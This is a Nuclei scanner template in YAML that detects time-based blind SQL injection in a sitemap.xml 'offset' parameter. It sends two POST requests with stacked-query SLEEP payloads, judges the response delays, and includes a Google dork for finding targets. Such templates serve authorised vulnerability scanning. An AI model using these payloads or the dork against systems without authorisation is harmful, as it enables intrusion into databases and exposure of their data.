41 lines
1.2 KiB
YAML
41 lines
1.2 KiB
YAML
id: sitemap-sql-injection
|
|
|
|
info:
|
|
name: Sitemap - SQL Injection
|
|
author: Aravind,j4vaovo
|
|
severity: high
|
|
reference: https://twitter.com/GodfatherOrwa/status/1647406811216072705?t=fbn0Eu34euKdrn4fL8UqfQ&s=19
|
|
metadata:
|
|
max-request: 2
|
|
google-query: intext:"sitemap" filetype:txt, filetype:xml inurl:sitemap
|
|
tags: misconfig,sitemap,sqli
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
@timeout: 15s
|
|
POST /sitemap.xml?offset=1;SELECT%20IF((SLEEP(6)),1,2356)# HTTP/1.1
|
|
Host: {{Hostname}}
|
|
- |
|
|
@timeout: 25s
|
|
POST /sitemap.xml?offset=1;SELECT%20IF((SLEEP(16)),1,2356)# HTTP/1.1
|
|
Host: {{Hostname}}
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: dsl
|
|
dsl:
|
|
- 'duration_1>=6'
|
|
- 'status_code_1 == 200'
|
|
- 'contains(body_1, "sitemap>")'
|
|
condition: and
|
|
|
|
- type: dsl
|
|
dsl:
|
|
- 'duration_2>=16'
|
|
- 'status_code_2 == 200'
|
|
- 'contains(body_2, "sitemap>")'
|
|
condition: and
|
|
|
|
# digest: 4b0a00483046022100c272b8c1cad7f7b1b1ba22dd51202dfd1e0b71798511bf82f04b27fc6b2c7131022100ce74ebce0a7968a4bc844093c79c3761df9e04836f5e9d9d58b1fcb0da5f6d7c:922c64590222798bb761d5b6d8e72950
|